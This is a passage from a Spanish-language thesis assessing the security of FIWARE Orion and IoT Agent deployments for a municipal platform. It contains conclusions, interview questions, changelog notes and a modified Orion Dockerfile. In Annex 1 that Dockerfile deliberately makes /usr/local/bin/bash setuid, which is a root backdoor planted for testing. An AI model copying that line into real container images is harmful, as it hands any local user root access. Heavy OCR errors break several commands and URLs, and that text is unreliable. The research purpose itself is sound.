3. Es de notar que durante el estudio del estado del arte no se pudo encontrar mucha
documentacion oficial especifica relativa a hardening de componentes Fiware en
entornos productivos. Lo mas representativo a la fecha es una presentacién oficial de
Fiware con una guia de como asegurar dispositivos 10T en transporte HTTP y MQTT
utilizando credenciales, TLS y PEP proxies (Fox, 2020, abril 22). En otro orden, Fiware
si ofrece tablas de configuracion production-ready en el caso de despliegue con
Kubernetes, pero por lo que se pudo observar son en su gran mayoria templates*® base
sin consideraciones de seguridad.

4. El estudio de antecedentes permiti6 tener un conocimiento amplio de las
investigaciones realizadas sobre Fiware hasta el momento. Se destaca que existen muy
pocas publicaciones publicas a la fecha que aborden una evaluacién de seguridad de
Fiware o sus componentes.

47 https://github.com/FIWARE/tutorials.loT-Agent/blob/master/docker-compose.ymi#L1-L17
8 https://github.com/FIWARE/helm-charts
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10.

1.

12.

En lo que respecta a esta tesis, se entiende que este trabajo proporciona un analisis de
seguridad singular en el establecimiento de una metodologia de estudio y linea base de
identificacion y unificacion de problematicas de seguridad existentes y fabricacion de
alternativas de explotacién para determinados objetivos de ataque.

Surgieron interesantes problematicas de seguridad en los componentes Orion y loT
Agent, algunas se manifestaron durante la experimentacion y realizacién de pruebas,
varias procedieron de una inspeccion en profundidad del cédigo fuente vy
configuraciones de los componentes, y otras fueron el resultado de validar fallas
identificadas por trabajos de investigacion relacionados.

El modelado de amenazas siguiendo STRIDE dio como resultado un mapa de distintas
amenazas en el escenario de estudio y que podrian trasladarse o servir de referencia
para un escenario de similares caracteristicas. Es de destacar cada uno de los
artefactos resultantes del modelado como ser la descomposicion granular del escenario,
su representacion en un DFD y enumeracion de objetivos de ataque de interés para los
activos Orion y datos de contexto.

Se logré cumplir los 3 objetivos de ataque propuestos en el escenario de estudio en un
entorno controlado. Se consiguié fabricar un conjunto de recetas o pasos reproducibles
que demuestran su factibilidad.

El escenario de estudio de ejemplo esta basado en un tutorial proporcionado por Fiware
y a nivel arquitectonico es muy similar en términos de componentes, interacciones y
diseno a la plataforma de ClI de la IM. Esto permitié por un lado validar el despliegue de
una plataforma de Fiware real en funcionamiento, en el entendido que el caso de
estudio no se aleja de una posible implementacion en la practica, y por otro lado
trasladar en una medida exploratoria las problematicas de seguridad identificadas en el
caso de estudio.

Surgieron hallazgos particulares al contexto de despliegue de la plataforma de la IM, en
particular en lo que respecta a las versiones de los componentes utilizados, las bases
de datos de los agentes IoT y los mecanismos de acceso en la frontera sur.

Se destaca la amplitud y profundidad en el detalle de posibles vectores de ataque
identificados en la plataforma de la IM, la cual se nutre del trabajo de investigacion
previo en el caso de estudio y de la distincion de problematicas en la solucién de Cl de
la IM. Desde la perspectiva de un atacante estos resultados hicieron visible distintas
vias factibles para concretar ataques y que afectan propiedades de seguridad de activos
importantes.

Con una mirada hacia potenciales recomendaciones, se hizo especial hincapié en tres

aspectos de la plataforma de Cl de la IM: componentes, arquitectura y control de
acceso. Las mismas intentan proponer soluciones de valor que aporten una hoja de ruta
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hacia consideraciones de seguridad de interés de la IM. Vale resaltar el feedback
positivo recibido por la IM y la novedad de que a nivel interno se dispararon varios
proyectos con el fin de abordar varias de las recomendaciones planteadas.

Del presente trabajo se abren multiples disparadores a investigaciones futuras que puedan
profundizar y enriquecer este estudio asi como también proponer vias innovadoras. Se
enumeran algunas de ellas.

Seria muy interesante poder llevar el analisis preliminar realizado con la IM a un
acercamiento directo de experimentacién con la plataforma, idealmente en un entorno
controlado para pruebas.

De forma de contar con nuevos elementos que potencien el presente trabajo de
investigacion, seria deseable poder conducir un analisis de seguridad en un despliegue
de otra plataforma de Fiware utilizada en un entorno productivo real. Por ende, se
propicia la adquisicion de hallazgos nuevos y el contraste de los resultados obtenidos.

La arquitectura de estudio considerada incluyé sélo los componentes Orion y loT Agent
interconectados en un posible despliegue y el andlisis de seguridad macro
arquitecténico con profundizacion en algunos elementos, pero sin poder entrar en
detalles especificos de implementacion a bajo nivel. Esto dispara varias lineas de
investigacion de caracter ofensivo, por ejemplo:

o Un enfoque de trabajo que aborde la seguridad de la implementacion de la API
REST NGSIv2 de Orion. Podria ser considerado desde un punto de vista de un
pentest externo en el afan de encontrar vulnerabilidades que permitan abusar de
las funcionalidades expuestas. El término “pentest’ se refiere a una prueba de
intrusion realizada sobre un sistema, aplicacion, infraestructura, etc con el
objetivo de encontrar potenciales vulnerabilidades; se enmarca dentro de una
metodologia de trabajo estructurada en etapas, finalizando con la generacién de
un informe con los resultados obtenidos.

o Dado que el codigo fuente de Orion esta disponible, otra posibilidad interesante
es analizar el codigo de la aplicacion ya sea mediante revisiones de codigo
manual o herramientas automatizadas o generando arboles de flujos de datos en
el seguimiento de variables dentro de la aplicacion que den la pauta de
potenciales fallas, inyecciones, overflows, entre otros.

o De igual manera que Orion, se podria realizar el mismo abordaje comentado en
los dos puntos anteriores para el componente /oT Agent.

o Existen otros modulos referenciales dentro de Fiware que resuelven aspectos
especificos como ser almacenamiento de informacion histérica, control de
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acceso, visualizacién de datos, etc. Dichos componentes también podrian ser
considerados en un potencial analisis de seguridad.

En la experimentacion en el caso de estudio se llevaron a cabo varias pruebas de
concepto en las cuales se evidencié la explotacion realizada y los pasos seguidos. Hay
oportunidades de mejora en optimizar y evidenciar nuevas e innovadoras formas de
explotacion. Asimismo, se presenta como desafio poder llevar adelante este tipo de
ataques en plataformas reales.

Para finalizar, se generan algunas reflexiones:

A partir de la investigacidon académica en seguridad, se intentd generar nuevos
elementos para el entendimiento y abordaje colectivo, comprometido con el estudio y la
investigacion, y la democratizacion del conocimiento apuntando a la excelencia.

Se espera que los resultados de esta tesis aporten conocimientos de interés a la IM,
que contribuyan al desarrollo de acciones, iniciativas y proyectos para la mejora
continua de la ciudad y sus habitantes.

Se procurd contribuir con nuevos elementos a la comunidad Fiware para la mejora
continua de la seguridad de la plataforma.

Se espera ampliar la reflexion entre estudiantes, docentes y profesionales de que
investigar en seguridad informatica puede contribuir a la transformacion de las ciudades
modernas.

Es posible que este estudio pueda inspirar a otros estudiantes e investigadores a

formular nuevas hipodtesis y lineas de investigacion relacionadas con la plataforma
Fiware.
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8. Anexos

Anexo 1: Archivo Dockerfile de fiware-orion modificado y utilizado
en el analisis de suplantaciéon de identidad

Archivo Dockerfile original en:
https://github.com/telefonicaid/fiware-orion/blob/3.1.0/docker/Dockerfile

# Copyright 2020 Telefonica Investigacion y Desarrollo, S.A.U

#

# This file is part of Orion Context Broker.

#

# Orion Context Broker is free software: you can redistribute it and/or

# modify it under the terms of the GNU Affero General Public License as

# published by the Free Software Foundation, either version 3 of the

# License, or (at your option) any later version.

#

# Orion Context Broker is distributed in the hope that it will be useful,

# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero
# General Public License for more details.

#

# You should have received a copy of the GNU Affero General Public License
# along with Orion Context Broker. If not, see http://www.gnu.org/licenses/.

#

# For those usages not covered by this license please contact with

# iot_support at tid dot es

#

ARG IMAGE_TAG=cent0s8.3.2011
FROM centos:${IMAGE_TAG}

ARG GITHUB_ACCOUNT=telefonicaid
ARG GITHUB_REPOSITORY=fiware-orion

ARG GIT_NAME

ARG GIT_REV_ORION

ARG CLEAN_DEV_TOOLS

ENV ORION_USER orion

ENV GIT_NAME ${GIT_NAME:-telefonicaid}

ENV GIT_REV_ORION ${GIT_REV_ORION:-master}
ENV CLEAN_DEV_TOOLS ${CLEAN_DEV_TOOLS:-1}
SHELL ["/bin/bash", "-0", "pipefail", "-c"]

WORKDIR /opt

RUN\
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adduser --comment "${ORION_USER}" ${ORION_USER} &&\
# Install dependencies
yum -y install epel-release &&\
yum -y install \
boost-devel \
bzip2 \
cmake \
gnutls-devel \
libgcrypt-devel \
libcurl-devel \
openssl-devel \
libuuid-devel \
make \
nc\
git\
gcc-ct++\
tar \
which \
cyrus-sasl-devel &&\
# FIXME: this is a temporary hack due to the cmake version that comes with CentOS8
# at the present moment (June 9th, 2021) is 3.18.2. Unfortunatelly, this version seems
# to have problems to build the mongo C driver (see https://jira.mongodb.org/browse/CDRIVER-4020),
# probably due to a bug already solved in 3.18.3. Thus, the solution is to build cmake
# from scratch (we have used 3.20.1, the last version by the time being). Once CentOS8
# upgrade cmake to a version beyond 3.18.2, we can probably remove this hack and rely again in
# yum-based installation
rpm -e cmake cmake-data cmake-filesystem cmake-rpm-macros && \
cd /opt &&\
curl -OL https://github.com/Kitware/CMake/releases/download/v3.20.1/cmake-3.20.1.tar.gz && \
tar xvf cmake-3.20.1.tar.gz &&\
cd cmake-3.20.1 && \
Jbootstrap &&\
make &&\
make install && \
# Install libmicrohttpd from source
cd /opt && \
curl -kOL http://ftp.gnu.org/gnu/libmicrohttpd/libmicrohttpd-0.9.70.tar.gz && \
tar xvf libmicrohttpd-0.9.70.tar.gz && \
cd libmicrohttpd-0.9.70 &&\
Jconfigure --disable-messages --disable-postprocessor --disable-dauth && \
make &&\
make install && \
Idconfig &&\
# Install mongodb driver from source
cd /opt &&\
curl -kOL https://github.com/mongodb/mongo-c-driver/releases/download/1.17.4/mongo-c-driver-1.17 .4 .tar.gz
&&\
tar xfvz mongo-c-driver-1.17.4.tar.gz && \
cd mongo-c-driver-1.17.4 &&\
mkdir cmake-build && \
cd cmake-build && \
cmake -DENABLE_AUTOMATIC_INIT_AND_CLEANUP=OFF .. &&\
make &&\
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make install && \
# Install rapidjson from source
cd /opt &&\
curl -kOL https://github.com/miloyip/rapidjson/archive/v1.1.0.tar.gz &&\
tar xfz v1.1.0.tar.gz &&\
mv rapidjson-1.1.0/include/rapidjson/ /usr/local/include && \
# Install orion from source
cd /opt &&\
git clone https://github.com/${GIT_NAME}/fiware-orion && \
cd fiware-orion &&\
git checkout ${GIT_REV_ORION} && \
make && \
make install && \
# reduce size of installed binaries
strip /usr/bin/contextBroker && \
# create needed run path
mkdir -p /var/run/contextBroker && \
chown ${ORION_USER} /var/run/contextBroker &&\
cd /opt && \
if [ ${CLEAN_DEV_TOOLS} -eq 0 ] ; then yum clean all && exit 0 ; fi && \
# cleanup sources, dev tools, locales and yum cache to reduce the final image size
rm -rf /opt/libmicrohttpd-0.9.70.tar.gz \
lusr/local/include/microhttpd.h \
lusr/local/lib/libmicrohttpd.* \
/opt/libmicrohttpd-0.9.70 \
/opt/mongo-c-driver-1.17.4 tar.gz \
/opt/mongo-c-driver-1.17.4 \
lusr/local/include/mongo \
lusr/local/lib/libmongoclient.a \
/opt/rapidjson-1.1.0 \
/opt/v1.1.0.tar.gz \
lusr/locall/include/rapidjson \
/opt/fiware-orion \

# We don't need to manage Linux account passwords requisites: lenght, mays/mins, etc.

# This cannot be removed using yum as yum uses hard dependencies and doing so will
# uninstall essential packages
lusr/share/cracklib \
# We don't need glibc locale data. This cannot be removed using yum as yum uses hard
# dependencies and doing so will uninstall essential packages
lusr/share/i18n /usr/{lib,lib64}/gconv \
&&\
# FIXME: this yum erase probably needs more tunning. It is based in a CentOS 7 version,
# removing libarchive and mpfr from the list, as they were causing problems
# (removal of protected packages dnf and systemd) and many others resulting in
# "No match for argument". See Dockerfile for 2.6.0 if needed to see how this was before
yum -y erase git perl* \
cmake \
gce-c++ cpp gece glibc-devel glibc-headers \
kernel-headers libgomp libstdc++-devel \
boost-devel libcurl-devel gnutls-devel libgcrypt-devel \
boost-wave boost-serialization \
boost-iostreams boost boost-date-time \
boost-test boost-graph boost-signals \
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boost-program-options boost-math \
openssh openssh-clients libedit *devel \
&&\

# FIXME: the above yum erase is removing 3 dependencies needed by contextBroker. Probably
# some of the boost-* is indirectly removing it, but | don't know which one so I'm reinstalling here

yum -y install \
boost-thread \
boost-filesystem \
boost-regex \
&&\

# Erase without dependencies of the document formatting system (man). This cannot be removed using yum
# as yum uses hard dependencies and doing so will uninstall essential packages

rpm -ga groff | xargs -r rpm -e --nodeps &&\

# Clean yum data

yum clean all && rm -rf /var/lib/yum/yumdb && rm -rf /var/lib/yum/history &&\
# Rebuild rpm data files. FIXME: disabled step, doesn't work in CentOS8 ?
#rm -f /var/lib/rpom/_db* && rpm -vv --rebuilddb &&\

# Delete unused locales. Only preserve en_US and the locale aliases

find /usr/share/locale -mindepth 1 -maxdepth 1 ! -name 'en_US'! -name 'locale.alias’ | xargs -r rm -r &&\
bash -c 'localedef --list-archive | grep -v -e "en_US" | xargs localedef --delete-from-archive' && \

# We use cp instead of mv as to refresh locale changes for ssh connections. We use /bin/cp instead of
# cp to avoid any alias substitution, which in some cases has been problematic

/bin/cp -f /usr/lib/locale/locale-archive /usr/lib/locale/locale-archive.tmpl && \
build-locale-archive && \

# Don't need old log files inside docker images

rm -f /var/log/*log

RUN cp /bin/bash /usr/local/bin &&\
chmod +s /usr/local/bin/bash

RUN yum -y install nano &&\
yum -y install wget && \
wget

https:/[repo.mongodb.org/yum/redhat/8/mongodb-org/5.0/x86_64/RPMS/mongodb-org-shell-5.0.2-1.e18.x86

_64.rpm -0 /tmp/mongodb-org-shell-5.0.2-1.e18.x86_64.rpm && \
yum -y install /tmp/mongodb-org-shell-5.0.2-1.e18.x86_64.rpm

ADD orion-services /usr/local/bin/
ADD orion-background /usr/local/bin/

RUN chmod +x /usr/local/bin/orion-services &&\
chmod +x /usr/local/bin/orion-background

WORKDIR /

# Note we disable log file as docker container will output by stdout
ENTRYPOINT ["/usr/local/bin/orion-services" ]
EXPOSE 1026

LABEL "maintainer"="Orion Team. Telefénica 1+D"
LABEL "org.opencontainers.image.authors"="iot_support@tid.es"
LABEL "org.opencontainers.image.documentation"="https://fiware-orion.rtfd.io/"
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LABEL "org.opencontainers.image.vendor"="Telefonica Investigacién y Desarrollo, S.A.U"

LABEL "org.opencontainers.image.licenses"="AGPL-3.0-only"

LABEL "org.opencontainers.image.title"="Orion Context Broker"

LABEL "org.opencontainers.image.description"="The Orion Context Broker is an implementation of the
Publish/Subscribe Context Broker GE, providing an NGSI interface"

LABEL "org.opencontainers.image.source"=https://github.com/${GITHUB_ACCOUNT}/${GITHUB_REPOSITORY}

# Create an anonymous user

RUN sed -i -r "/*(root|nobody)/!d" /etc/passwd /etc/shadow /etc/group \
&& sed -i - 's#(.*):[M:]*$#\1:/sbin/nologin#' /etc/passwd

USER nobody

Anexo 2 - Preguntas guia para analisis exploratorio de seguridad
de la IM

En relacion a los componentes de Fiware de la plataforma de Cl de la IM:
e ,;,Qué componentes de Fiware son utilizados? ;Se utilizan las imagenes docker
proporcionadas por Fiware?
o ¢ Qué version de Orion se encuentra desplegada actualmente?
o ¢Qué componentes loT Agent son utilizados? ;Qué versiones se utilizan?
o En caso que se utilicen las imagenes docker de los componentes, ¢ se utilizan
docker secrets para el manejo de informaciéon sensible (credenciales, claves,
etc)?

e ;Los componentes Orion y IoT Agent comparten la misma BD MongoDB? ;Cada
componente utiliza su propia base de datos MongoDB?

e ;Los componentes Orion y loT Agent se autentican contra MongoDB?
e ;Los componentes Orion y loT Agent utilizan comunicaciones cifradas con MongoDB?
e ;Los componentes Orion y lIoT Agent utilizan comunicaciones cifradas entre si?

e ;Todos los IoT Agents comparten el mismo motor de base de datos MongoDB? ¢ Tienen
asignado un cluster de 3 nodos de MongoDB?

e Respecto al transporte MQTT: ¢ qué protocolos utilizan (Ultralight y JSON, otros)?

e Respecto a los custom IoT Agents: ;qué protocolos utilizan (ej: JSON, ultralight, etc) y
transporte (HTTP, MQTT, etc)? ; Qué version de libreria base iotagent-node-lib utilizan?
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La autenticacion para escribir topicos en Mosquitto es requerida para los dispositivos
lIoT (envio de medidas de sensado). ¢ También lo es para los loT Agents MQTT (lectura
de las medidas)?

En relacion a mecanismos de control de acceso a los componentes de Fiware
desplegados en la “frontera sur”:

¢, Se controla el acceso a los microservicios en la plataforma Fiware desplegada? ¢;Se
utilizan componentes PEP (Policy Enforcement Point)?

;,Orion se puede comunicar de forma directa con los loT Agents? ;Existen
componentes PEP que protejan la comunicacién entre Orion <----> |0T Agents?

¢ Los sensores loT utilizan algin mecanismo de autenticacion para reportar medidas al
loT Agent?

¢, Se utiliza algun AP| gateway?

¢Los endpoints de los microservicios de la frontera sur se encuentran detras de un
reverse proxy?

¢, Coémo seria un caso de ejemplo de control de permisos?

Anexo 3: Detalle de cambios adicionados en version 7.9.2 de
Fiware Keyrock

El detalle de los cambios realizados puede observarse en los siguientes commits:

Todos los cambios en la versiéon 7.9.2:

https://github.com/qging/fiware-idm/commits/e598c3b9c136f49e39d5ac1e06c0f6ae681d3
437/controllers/oauth2/oauth2.js

Cambio “added fiware-service header support in permissions”:

https://qithub.com/ging/fiware-idm/commit/20420b045f11dde2967 1 fff 2
4#diff-4bf8ec2df3685f5054ca486d8df791cc21e2f8ce03d2253e6¢10f9d853045e10
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https://github.com/ging/fiware-idm/commits/e598c3b9c136f49e39d5ac1e06c0f6ae681d3437/controllers/oauth2/oauth2.js
https://github.com/ging/fiware-idm/commits/e598c3b9c136f49e39d5ac1e06c0f6ae681d3437/controllers/oauth2/oauth2.js
https://github.com/ging/fiware-idm/commit/20420b045f11dde29673a6d1fff8c88ece05c524#diff-4bf8ec2df3685f5054ca486d8df791cc21e2f8ce03d2253e6c10f9d853045e10
https://github.com/ging/fiware-idm/commit/20420b045f11dde29673a6d1fff8c88ece05c524#diff-4bf8ec2df3685f5054ca486d8df791cc21e2f8ce03d2253e6c10f9d853045e10

Anexo 4: Detalle de cambios adicionados en version 2.12.0 de
libreria iotagent-node-lib

El detalle de los cambios realizados puede observarse en los commits:

e ‘“added mongodb authentication”:
o https://qgithub.com/telefonicaid/iotagent-node-lib/pull/846
o https://qgithub.com/telefonicaid/iotagent-node-lib/commit/ba986fb0e677e828d492
2f2b85db274580cd73d2#diff-57¢c9c0813ab7452a18f96b4e9b716ca8b9c8e0d595
408702373e329f11befOec

Anexo 5: Detalle de cambios adicionados en version 2.13.0 de
libreria iotagent-node-lib

El detalle de los cambios realizados puede observarse en los siguientes commits:

https://qithub.com/telefonicaid/iotagent-node-lib/pull/860

https://qithub.com/telefonicaid/iotagent-node-li mmit/f 1 42549488f!
20ad03f7a5cd5
e https://github.com/telefonicaid/i nt-node-lib/bl 748f 1 7fd37581

Anexo 6: Detalle de cambios adicionados en versidon 2.3.0 de
Orion

El detalle de los cambios realizados puede observarse en los commits:

https://github.com/telefonicaid/fiware-orion/pull/3542/commits

Anexo 7: Detalle de cambios principales adicionados en
versiones posteriores a 2.1.0 de Orion

En base a la informacion relevada en https://github.com/telefonicaid/fiware-orion/releases los
siguientes son los cambios principales en relacion a mejoras y hardening de seguridad:

e 241, fix de race condition en atributos DateTime debido al uso de funciones thread
unsafe.
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https://github.com/telefonicaid/iotagent-node-lib/pull/846
https://github.com/telefonicaid/iotagent-node-lib/commit/ba986fb0e677e828d4922f2b85db274580cd73d2#diff-57c9c0813ab7452a18f96b4e9b716ca8b9c8e0d595408702373e329f11bef0ec
https://github.com/telefonicaid/iotagent-node-lib/commit/ba986fb0e677e828d4922f2b85db274580cd73d2#diff-57c9c0813ab7452a18f96b4e9b716ca8b9c8e0d595408702373e329f11bef0ec
https://github.com/telefonicaid/iotagent-node-lib/commit/ba986fb0e677e828d4922f2b85db274580cd73d2#diff-57c9c0813ab7452a18f96b4e9b716ca8b9c8e0d595408702373e329f11bef0ec
https://github.com/telefonicaid/iotagent-node-lib/pull/860
https://github.com/telefonicaid/iotagent-node-lib/commit/fcc0dd8e1538c942549488f6aa920ad03f7a5cd5
https://github.com/telefonicaid/iotagent-node-lib/commit/fcc0dd8e1538c942549488f6aa920ad03f7a5cd5
https://github.com/telefonicaid/iotagent-node-lib/blob/6748fc9cedee6133d530e7fd37581236e8d369ec/lib/model/dbConn.js#L79
https://github.com/telefonicaid/iotagent-node-lib/blob/6748fc9cedee6133d530e7fd37581236e8d369ec/lib/model/dbConn.js#L79
https://github.com/telefonicaid/iotagent-node-lib/blob/6748fc9cedee6133d530e7fd37581236e8d369ec/lib/model/dbConn.js#L218
https://github.com/telefonicaid/iotagent-node-lib/blob/6748fc9cedee6133d530e7fd37581236e8d369ec/lib/model/dbConn.js#L218
https://github.com/telefonicaid/fiware-orion/pull/3542/commits
https://github.com/telefonicaid/fiware-orion/releases

2.5.0, hardening (actualizacion de librerias rapidjson y microhttpd).

2.6.0, actualizacion de imagen base centos a 7.9.

3.0.0, actualizacion de driver mongo desde una versidn legacy; actualizacion de
mecanismo de autenticacion con MongoDB; actualizacién de imagen base centos a
version 8; actualizacién de imagen base MongoDB a 4.4.

3.3.0, actualizacion de librerias (libmosquitto); hardening l6gica de conexion MQTT.
3.4.0, actualizacion de imagen base centos a 8.4, hardening y correccién de varios
issues a nivel de ldgica de negocio.

Anexo 8: Detalle de cambios principales adicionados en
versiones posteriores a 2.7.50 de iotagent-node-lib

En base a la informacién relevada en https://github.com/telefonicaid/iotagent-node-lib/releases
los siguientes son los cambios principales en relacién a mejoras y hardening de seguridad:

e 2.9.0: hardening (actualizacion de version de librerias logops y node-uuid); ultima
version con soporte de Node v6; correcciones de varios issues a nivel de légica de
negocio.

2.10.0: hardening (actualizacién de versiones de multiples librerias); soporte de Node v8
2.11.0: hardening (actualizacion de libreria mongoose a 5.7.5 debido a issues de
seguridad).

e 2.12.0: adicion de soporte autenticacion con MongoDB; ultima versién con soporte de
Node v8.

e 2.13.0: remueve soporte a Node v8 (versién deprecada en Diciembre 2019); soporte a
Node v10; adicién de soporte TLS/SSL MongoDB y otras configuraciones; actualizacion
de multiples dependencias.

e 2.16.0: actualizacion de dependencia con vulnerabilidades conocidas (underscore);
actualizacién de otras dependencias (mongodb, mongoose). Minima versién soportada
de Node establecida en v12. Node v10 fue deprecada en Mayo 2021.

e 2.18.0: remueve implementacion de NGSI-v1; fixes varios.
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